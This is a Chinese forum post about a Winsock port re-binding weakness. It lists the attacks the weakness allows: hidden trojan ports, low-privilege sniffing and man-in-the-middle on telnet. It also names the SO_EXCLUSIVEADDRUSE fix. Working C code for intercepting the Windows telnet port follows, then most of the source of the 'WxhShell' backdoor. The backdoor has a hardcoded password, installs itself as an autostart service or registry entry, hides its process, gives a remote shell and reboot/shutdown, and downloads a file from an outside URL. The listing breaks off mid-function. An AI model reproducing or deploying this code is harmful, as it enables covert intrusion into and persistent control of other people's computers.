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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z*UgRLKZD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pft-.1py  
}a%1$>sj  
  saddr.sin_family = AF_INET; '.wb= C  
rS!M0Hq>t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \^1S:z  
;pw9+zo ^M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L|L;<  
bXi!_'z$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G}Ko*:fWS  
brX[-  
  这意味着什么?意味着可以进行如下的攻击: bq2f?uD-}  
3$_JNF`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :,ucJ|  
suS[P?4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DNr*|A2<  
n?778Wo}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a4[t3U  
B@U'7`v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8iTB  
D94bq_2}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U&ytZ7iB  
$J):yhFs e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y 2)W"PuG  
s"XwO8yhM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +n<W#O %  
G c \^Kg^#  
  #include %!r.) Wx|2  
  #include  wX5q=I  
  #include "BVp37 m;?  
  #include    tpb lm|sW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   inFS99DKx  
  int main() Gr4v&Mz:  
  { Ze[,0Y!u&  
  WORD wVersionRequested; `{|w*)mD  
  DWORD ret; {-lpYD^k3  
  WSADATA wsaData; 'J$@~P  
  BOOL val; Y]7503J  
  SOCKADDR_IN saddr; d@p#{ -  
  SOCKADDR_IN scaddr; sopf-g:  
  int err; BA2J dU  
  SOCKET s; $}Ab R:z  
  SOCKET sc; Se_]=>WI  
  int caddsize; Xo:Mar  
  HANDLE mt; 4BSqL!i(  
  DWORD tid;   )o<^6Ic%7  
  wVersionRequested = MAKEWORD( 2, 2 ); ' '(rC38  
  err = WSAStartup( wVersionRequested, &wsaData ); lWe cxD$  
  if ( err != 0 ) { "X^<g{]  
  printf("error!WSAStartup failed!\n"); LRg]'?  
  return -1; eXMIRus(  
  } <=V{tl  
  saddr.sin_family = AF_INET; E%DT;1  
   %ioVNbrR7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4y#XX[2Wj  
qDG2rFu&[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lm 96:S  
  saddr.sin_port = htons(23); %S"85#R5E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,<* I5:  
  { s[sv4hq  
  printf("error!socket failed!\n"); x+j@YWDpG"  
  return -1; "V(P)_  
  } 0ki- /{;  
  val = TRUE; &y}7AV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pY@QR?F\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v7SYWO#  
  { uDP:kM  
  printf("error!setsockopt failed!\n"); A[8m3L#k  
  return -1; I8YUq   
  } mEbI\!}H0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Eamt_/LKf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D*Zj oU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s~].iQJ{B  
W} i6{ Vh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .wD $Bsm`t  
  { 4"k&9+>  
  ret=GetLastError(); '9Z`y_~)G  
  printf("error!bind failed!\n"); `hZh}K^  
  return -1; #|ts1lD#ah  
  } y$\tqQ  
  listen(s,2); nj'5iiV`]  
  while(1) Gk{ 'U  
  { mmbe.$73  
  caddsize = sizeof(scaddr); l)vC=V6MG  
  //接受连接请求 jwT` Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ewU*5|*[  
  if(sc!=INVALID_SOCKET) yAryw{(  
  { N?ccG\t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X'jyR:ut#  
  if(mt==NULL) h/t;ZLUAZP  
  {  ce9P-}d  
  printf("Thread Creat Failed!\n"); 1oej<67PdJ  
  break; 6qHD&bv\%C  
  } X7huc*  
  } wKLYyetM!  
  CloseHandle(mt); -0d9,,c  
  } v?OVhV  
  closesocket(s); $G`CXhbl  
  WSACleanup(); ZK8)FmT_<O  
  return 0; (|K+1R  
  }   PPB/-F]rr  
  DWORD WINAPI ClientThread(LPVOID lpParam) \jwG*a  
  { =|]h-[P'  
  SOCKET ss = (SOCKET)lpParam; 1~c\J0h)d  
  SOCKET sc; Kf:!tRE  
  unsigned char buf[4096]; C '( Y  
  SOCKADDR_IN saddr; d\JaYizp  
  long num; Q;$k?G=l  
  DWORD val; `!vqT 3p,  
  DWORD ret; |+q_kx@?l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P+o"]/7U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   miaH,hm  
  saddr.sin_family = AF_INET; ZOEe-XW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3p=Xv%xd  
  saddr.sin_port = htons(23); (Lgea  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k9}8xpH  
  { &))d],tJX  
  printf("error!socket failed!\n"); 1 %P-X!  
  return -1; ,2fi`9=\  
  } '#f<wf n  
  val = 100; 9 8|sWI3 B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @& }}tALi  
  { ; BN81;  
  ret = GetLastError(); Y1-dpML  
  return -1; i wgt\ux.  
  } o}v<~v(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $Q/@5f'T`9  
  { $pES>>P  
  ret = GetLastError(); ,a{85HLr]  
  return -1; 1%+-}yo<  
  } uCDe>Q4@/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tn5%zJ#+  
  { bFG~08Z ,d  
  printf("error!socket connect failed!\n"); 0V1GX~2  
  closesocket(sc); ,ErfTg&^  
  closesocket(ss); KV_/fa~Ry  
  return -1; [<#j K}g  
  } e_=K0fFz  
  while(1) |fgUW.  
  { D.a>i?W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dipfsH]p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f kZHy|m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F@u7Oel@m  
  num = recv(ss,buf,4096,0); u}iuf_  
  if(num>0) (bb!VVA  
  send(sc,buf,num,0); ^O_Z5NbC3  
  else if(num==0) IEhD5?  
  break; .g8*K "  
  num = recv(sc,buf,4096,0); 4H#-2LV`  
  if(num>0) >5CK&6  
  send(ss,buf,num,0); Pf[E..HF*d  
  else if(num==0) XDY]LAV  
  break; 1CB&z@  
  } Oh! {E5!)  
  closesocket(ss); 9^}&PEl  
  closesocket(sc); '#+&?6p  
  return 0 ; = QBvU)Ki  
  } OXEEpoU?V  
^p3 GT6  
" @D  
========================================================== fQfn7FaW_\  
[J,.?'V  
下边附上一个代码,,WXhSHELL zgwez$  
LCB-ewy#E  
========================================================== %hVR|K|J  
&*v\t\]  
#include "stdafx.h" |[.-pA^  
l!tR<$|  
#include <stdio.h> 17s~mqy  
#include <string.h> ^ }7O|Y7  
#include <windows.h> +u$l]~St\  
#include <winsock2.h> m{Q #f\<  
#include <winsvc.h> ]}v]j`9m%  
#include <urlmon.h> O <Rh[Aqn  
{,%&}kd>  
#pragma comment (lib, "Ws2_32.lib") FP=B/!g  
#pragma comment (lib, "urlmon.lib") L I<S  
oXm !  
#define MAX_USER   100 // 最大客户端连接数 {M**a  
#define BUF_SOCK   200 // sock buffer joe)b  
#define KEY_BUFF   255 // 输入 buffer 0>{ ]*  
t /+;#-  
#define REBOOT     0   // 重启 \|,| )  
#define SHUTDOWN   1   // 关机 al2lC#Sy  
& P-8_I  
#define DEF_PORT   5000 // 监听端口 q94;x|63  
tl 0|.Q,  
#define REG_LEN     16   // 注册表键长度 ]E/0iM5  
#define SVC_LEN     80   // NT服务名长度 %,@pV%2  
UA$IVK&{  
// 从dll定义API vJ&_-CX   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4#IT" i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KsKE#])&l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t%}<S~"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h.EI(Ev"GN  
Vm%G q  
// wxhshell配置信息 @ VWED  
struct WSCFG { u9"=t  
  int ws_port;         // 监听端口 X)3(.L  
  char ws_passstr[REG_LEN]; // 口令 \;&;K'   
  int ws_autoins;       // 安装标记, 1=yes 0=no Z}S[fN8  
  char ws_regname[REG_LEN]; // 注册表键名 MJGT|u8O&  
  char ws_svcname[REG_LEN]; // 服务名 99=~vNn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t{>K).'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q/b+V)V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a3yNd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `58%&3lp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d"FB+$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n6oOk nCna  
^2k jO/  
}; #tV1?q  
Gn2{C%  
// default Wxhshell configuration j}uL  
struct WSCFG wscfg={DEF_PORT, AX v q~XE  
    "xuhuanlingzhe", MH.+pqIv^  
    1, V}s/knd  
    "Wxhshell", M_E,pg=rWI  
    "Wxhshell", (l99a&] t  
            "WxhShell Service", $'V^_|EL7  
    "Wrsky Windows CmdShell Service", l2LQV]l  
    "Please Input Your Password: ", q=X<QhK  
  1, RhowhQ)G  
  "http://www.wrsky.com/wxhshell.exe", >kQp@r\nQ  
  "Wxhshell.exe" hL3up]pZ  
    }; 9Vt ^q%DC  
G=cRdiy`C  
// 消息定义模块 FsED9+/m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;U(]#pW!t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B=cA$620  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A]bQUWt2  
char *msg_ws_ext="\n\rExit."; dEk#"cvg  
char *msg_ws_end="\n\rQuit."; C'I&<  
char *msg_ws_boot="\n\rReboot..."; SMZ*30i  
char *msg_ws_poff="\n\rShutdown..."; 0S5xmEzop  
char *msg_ws_down="\n\rSave to "; ;KQU% k$  
)Eozo4~  
char *msg_ws_err="\n\rErr!"; q9vND[BQ  
char *msg_ws_ok="\n\rOK!"; q1VKoKb6\:  
ZD&F ,2v  
char ExeFile[MAX_PATH]; NMkP#s7.y  
int nUser = 0; 6(QfD](2}  
HANDLE handles[MAX_USER]; Ir JSU_  
int OsIsNt; $ +WXM$N  
4np2I~ !  
SERVICE_STATUS       serviceStatus; ]H/,Q6Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nr*l3Z>LD  
XCI  
// 函数声明 .eN"s'  
int Install(void); =aVvv+T  
int Uninstall(void); @|:fm() <  
int DownloadFile(char *sURL, SOCKET wsh); \ aJ>?   
int Boot(int flag); }n&nuaj  
void HideProc(void); (1CP]5W  
int GetOsVer(void); @{@b^tk  
int Wxhshell(SOCKET wsl); g"/n95k<  
void TalkWithClient(void *cs); E{V?[HcWq  
int CmdShell(SOCKET sock); 51ViJdZ  
int StartFromService(void); Zz} o  t  
int StartWxhshell(LPSTR lpCmdLine); r%;|gIky  
Y^]n>X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]+e zg(C}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gxO~44"  
]C^ #)7  
// 数据结构和表定义 h!wq&Vi4  
SERVICE_TABLE_ENTRY DispatchTable[] = cpk\;1&t  
{ .gy:Pl]w  
{wscfg.ws_svcname, NTServiceMain}, m@ <,bZkl  
{NULL, NULL} RZxh"lIo  
}; I q|'#hs  
.M:&Aj)x16  
// 自我安装 @|(cr: (=H  
int Install(void) H {=]94  
{ Sv#MlS>  
  char svExeFile[MAX_PATH]; 76T7<.S  
  HKEY key; g}`g>&l5  
  strcpy(svExeFile,ExeFile); ILCh1=?{9r  
jIaaNO)  
// 如果是win9x系统,修改注册表设为自启动 uVgA <*0  
if(!OsIsNt) { \L>XF'o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |~A*?6:@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `n6cpX5  
  RegCloseKey(key); fm Yx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MZ%J ]Nd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;*rGZ?%*  
  RegCloseKey(key); ;8#6da,  
  return 0; 0-PT%R  
    } KF&8l/f  
  } lfBCzxifC  
} r~=+>, _  
else { "L5w]6C4  
Vw ;iE=L  
// 如果是NT以上系统,安装为系统服务 *ssw`}yE'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UZ/LR  
if (schSCManager!=0) $-DW+|p.?^  
{ JRBz/ j  
  SC_HANDLE schService = CreateService yuC"V'  
  ( MNU7OX<  
  schSCManager, ]|F`;}7  
  wscfg.ws_svcname, .;31G0<w2  
  wscfg.ws_svcdisp, ,w"cY?~<  
  SERVICE_ALL_ACCESS, e3n^$'/\r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zecM|S_  
  SERVICE_AUTO_START, "u^2!d  
  SERVICE_ERROR_NORMAL, &=t~_ Dc  
  svExeFile, yVzV]&k  
  NULL, eAO@B  
  NULL, R[F`b  
  NULL, R;AcAJ;  
  NULL, &2:WezDF  
  NULL g&RhPrtl  
  ); ]l }v  
  if (schService!=0) bZSt<cH3  
  { :M;|0w*b  
  CloseServiceHandle(schService); 9Cd=^Im5  
  CloseServiceHandle(schSCManager); ,6y.wNb:F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,PpVZq~  
  strcat(svExeFile,wscfg.ws_svcname); c-zW 2;|61  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mr[1F]G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {uwPP2YD,  
  RegCloseKey(key); H1~9f {  
  return 0; 860y9wzU  
    } 7.{+8#~nV  
  } DFfh!KKR$  
  CloseServiceHandle(schSCManager); W SvhC  
} c9gm%  
} hRKJKQ@7  
W;Dik%^tg  
return 1; Z>`frL  
} c(Xm~ 'jeH  
3#fg 2  
// 自我卸载 l [ m_<1L  
int Uninstall(void) *W=1yPP  
{ MG&vduu  
  HKEY key; 7F]oK0l_  
Mj0jpP<uf  
if(!OsIsNt) { rf/]VAK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >]Mhkf/=)  
  RegDeleteValue(key,wscfg.ws_regname); (eT9N_W  
  RegCloseKey(key); ]q #"8 =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6X2w)cO  
  RegDeleteValue(key,wscfg.ws_regname); Cs]\3R|D`  
  RegCloseKey(key); ME*zMLoF+  
  return 0; D(_j;?i  
  } ;[C_ho  
} s7`2ky()kz  
} }P!:0w3  
else { Yg!fEopLb  
'uqY%&U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ckdCd J  
if (schSCManager!=0) RXO}mu]Iu  
{ 8N<2RT8W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9D5v0Qi  
  if (schService!=0) nwJub$5  
  { % Q93n {?  
  if(DeleteService(schService)!=0) { fn//j7 j  
  CloseServiceHandle(schService); 74A&#ecb{  
  CloseServiceHandle(schSCManager); bT:;^eG"  
  return 0; Q:b>1  
  } V[* <^%  
  CloseServiceHandle(schService); ^x >R #.R  
  } /KgP<2p  
  CloseServiceHandle(schSCManager); gE&83i"  
} |@D%y&  
} (K kqyrb  
|'k7 ;UW  
return 1; UnTvot6~  
} pr \OjpvD  
Nk\/lK\  
// 从指定url下载文件 (Ixmg=C6y  
int DownloadFile(char *sURL, SOCKET wsh) uw&p)  
{ *kGk.a=  
  HRESULT hr; G{'`L)~3N  
char seps[]= "/"; bmRp)CYd  
char *token; p^QppM94  
char *file; 0@jhNtL  
char myURL[MAX_PATH]; CDFX>>N  
char myFILE[MAX_PATH]; y $>U[^G[  
OLJ|gunA#  
strcpy(myURL,sURL); OYIH**?  
  token=strtok(myURL,seps); KFHcHz  
  while(token!=NULL) @ ojV8  
  { 8Vm)jnM  
    file=token; DUs0L\  
  token=strtok(NULL,seps); YLNJ4nE  
  } fXx !_Z  
D0p>Q^w  
GetCurrentDirectory(MAX_PATH,myFILE); -H](2}  
strcat(myFILE, "\\"); u`Zj~ t  
strcat(myFILE, file); x)2ZbIDB:"  
  send(wsh,myFILE,strlen(myFILE),0); Ix+\oq,O  
send(wsh,"...",3,0); :&=`xAX-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?wj1t!83  
  if(hr==S_OK) fJOA5(  
return 0; }FAO.  
else -*0U&]T  
return 1; T oK'Pd  
$tca: b}Mk  
} g5hMZPOmP  
MryY<s  
// 系统电源模块 OR-fC  
int Boot(int flag) /c52w"WW  
{ gY!#=?/S  
  HANDLE hToken; D"GQlR  
  TOKEN_PRIVILEGES tkp; A}(Q^|6  
ood,k{  
  if(OsIsNt) { :"~n` Q2[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6n Hyd<o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eQ eucmQd{  
    tkp.PrivilegeCount = 1; Ab)X/g-I @  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 #Afj0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i|OG#PsY-  
if(flag==REBOOT) { M@78.lPS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2VA mL7)  
  return 0; l]__!X  
} A\};^Y  
else { ~"#[<d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Y+P(o$HM  
  return 0; ?LA` v_  
} )U u! x6  
  }  ,7w[r<7  
  else { KMogwulG  
if(flag==REBOOT) { nkTu/)or  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _|vY)4B 4U  
  return 0; ^|ln q.j  
} :PF6xL&  
else { 6]5e(J{Fz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B@v"giJgr  
  return 0; zDx*R3%  
} :7jDgqn^|i  
} tc<ly{ 1c  
7C@%1kL  
return 1; z~O:w'(g  
} qA5PIEvdq  
Dt\rMSjZ9  
// win9x进程隐藏模块 U%E364;F  
void HideProc(void) &3%V%_  
{ )r.4`5Rc  
t*{BN>B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U *']7-  
  if ( hKernel != NULL ) W"*~1$vf  
  { s\A4y "  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P\2UIAPa\b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;<)<4N"  
    FreeLibrary(hKernel); hqVxvS"  
  } we;QrS(Hi  
^4 ?LQ[t'  
return; 2u?k;"]V  
} kcN#g- 0  
X6<%SJC  
// 获取操作系统版本 b'$fr6"O1  
int GetOsVer(void) r\DA&b  
{ t,vj)|:  
  OSVERSIONINFO winfo; 3}9c0%}F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @Rp#*{  
  GetVersionEx(&winfo); TZYz`l+v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rwSmdJ~  
  return 1; Qvl3=[S  
  else nb,+!)+  
  return 0; akB+4?+s)  
} J2d 3&6  
%RX}sS  
// 客户端句柄模块 1NQstmd{  
int Wxhshell(SOCKET wsl) T5b*Ia  
{ *N!>c&8  
  SOCKET wsh; bL9vjD'}  
  struct sockaddr_in client; |VxO ,[~  
  DWORD myID; [OK(  
1'Y7h;\~\  
  while(nUser<MAX_USER) (Y>|P  
{ %e|.a)78  
  int nSize=sizeof(client); 0JS#{EDh+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .tH[A[/1 a  
  if(wsh==INVALID_SOCKET) return 1; q6a7o=BP]  
b]cnTR2E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w9Z,3J6r  
if(handles[nUser]==0) ;N;['xcx;  
  closesocket(wsh); %MH!L2|  
else K! I]0!:  
  nUser++;  mX&!/U  
  } LL"c 9jb4z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X8Y)5,`s  
:j}4F  
  return 0; Zm+QhnY|  
} }{S f*  
AaX][2y8  
// 关闭 socket %=EN 3>,  
void CloseIt(SOCKET wsh) x}B_;&>&"_  
{ lz >>{  
closesocket(wsh); "s.]amC  
nUser--; $$f89, h  
ExitThread(0); 49d02AU%  
} ' zz ^ !@  
lZ>j:/R8^&  
// 客户端请求句柄 Wi%e9r{hU  
void TalkWithClient(void *cs) U+2U#v=<  
{ #[$zbZ(I>:  
7wB*@a-  
  SOCKET wsh=(SOCKET)cs; _(1Shm  
  char pwd[SVC_LEN]; @4xV3Xkf&C  
  char cmd[KEY_BUFF]; $3c9iVK~_  
char chr[1]; )Lb?ZXT3  
int i,j;  'VzYf^  
A8oTcX_  
  while (nUser < MAX_USER) { 0LD$"0v/C3  
c[<>e#s+;  
if(wscfg.ws_passstr) { iPeW;=-2Wk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5R}K8"d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OLs<]0H  
  //ZeroMemory(pwd,KEY_BUFF); ScCA8JgY  
      i=0; Iy8fN"I9D  
  while(i<SVC_LEN) { V''?kVJ  
"eG@F  
  // 设置超时 VAnP3:  
  fd_set FdRead; f@7HVv&  
  struct timeval TimeOut; UEeq@ot/4  
  FD_ZERO(&FdRead); ,:=g}i  
  FD_SET(wsh,&FdRead); tB)nQw7  
  TimeOut.tv_sec=8; iRK&-wn  
  TimeOut.tv_usec=0; [ @ASAhV^+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oGvk,mh"(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2m{d>  
(\$=de>?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =V>inH  
  pwd=chr[0]; ?ytY8`PC  
  if(chr[0]==0xd || chr[0]==0xa) { {v>8Kp7_R  
  pwd=0; 0i3Z7l]  
  break; < 19A=  
  } ^{ {0ajI9C  
  i++; [x8_ax} w  
    } t/B4?A@C  
T-a [  
  // 如果是非法用户,关闭 socket x^~@`]TV^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z0T9tN!(  
} tV"Jh>Z  
q{CD:I:-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jt(RF*i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <i~=-Z(  
D5"Xjo*  
while(1) { 8T5W6Zs1  
vw w>]Z}  
  ZeroMemory(cmd,KEY_BUFF); a&Z;$  
 WJTc/  
      // 自动支持客户端 telnet标准   \5P 5N]]  
  j=0; 4QBPN@~t  
  while(j<KEY_BUFF) { p)Fi{%bc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p1!-|Sqq  
  cmd[j]=chr[0]; jp880}  
  if(chr[0]==0xa || chr[0]==0xd) { 3g87ir  
  cmd[j]=0; /*e6('9s  
  break; ;pt.)5  
  } YVLK X}$)(  
  j++; !QlCt>{  
    } $EG9V++b3  
66{Dyn7J~  
  // 下载文件 Vy7 )_D  
  if(strstr(cmd,"http://")) { 7G=Q9^J.H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3FG'A[x3O  
  if(DownloadFile(cmd,wsh)) 6%Pvh- ~_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B|ctauJ  
  else $CDRIn50  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3w}ul~>j  
  } 6 \}.l  
  else { `_e5pW=:>  
KGrYF  
    switch(cmd[0]) { }poLH S/  
  /BwG\GhM  
  // 帮助 c)Ne/E{!0  
  case '?': { :Z.P0=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MDCwgNPiQW  
    break; Ys]cJ]  
  } /^$n&gI  
  // 安装 Uc9hv?  
  case 'i': { /h 4rW>8D2  
    if(Install()) vLpIVNA]]Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'HJ<"<  
    else w[g`)8Ib  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L),r\#Y(v  
    break; {wD:!\5  
    } %-<6Z9otc  
  // 卸载 '.]<lh!  
  case 'r': { K=> j+a5$  
    if(Uninstall()) U#`2~Qv/1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F_@?'#m  
    else 5[]Yxl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  \|C*b<  
    break; SN]Na<P  
    } hjz`0AS  
  // 显示 wxhshell 所在路径 +5Ju `Z  
  case 'p': { r<B pX["  
    char svExeFile[MAX_PATH]; jS)YYk5  
    strcpy(svExeFile,"\n\r"); "gt1pf~y  
      strcat(svExeFile,ExeFile); ?8FJMFv;4%  
        send(wsh,svExeFile,strlen(svExeFile),0); j!"5, ~  
    break; \46*4?pP  
    } HMhdK  
  // 重启 8?ip,Q\  
  case 'b': {  |CAMdU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e?pQuF~  
    if(Boot(REBOOT)) X|C=Q   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yp)D"w4@  
    else { T(Ji%S >  
    closesocket(wsh); H.[nr:  
    ExitThread(0);  r}}2 Kl  
    } gHFQs](G.  
    break; 5> !N)pA  
    } v6ei47-  
  // 关机 e ^ZY  
  case 'd': { VO~%O.>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^fE8|/]nG9  
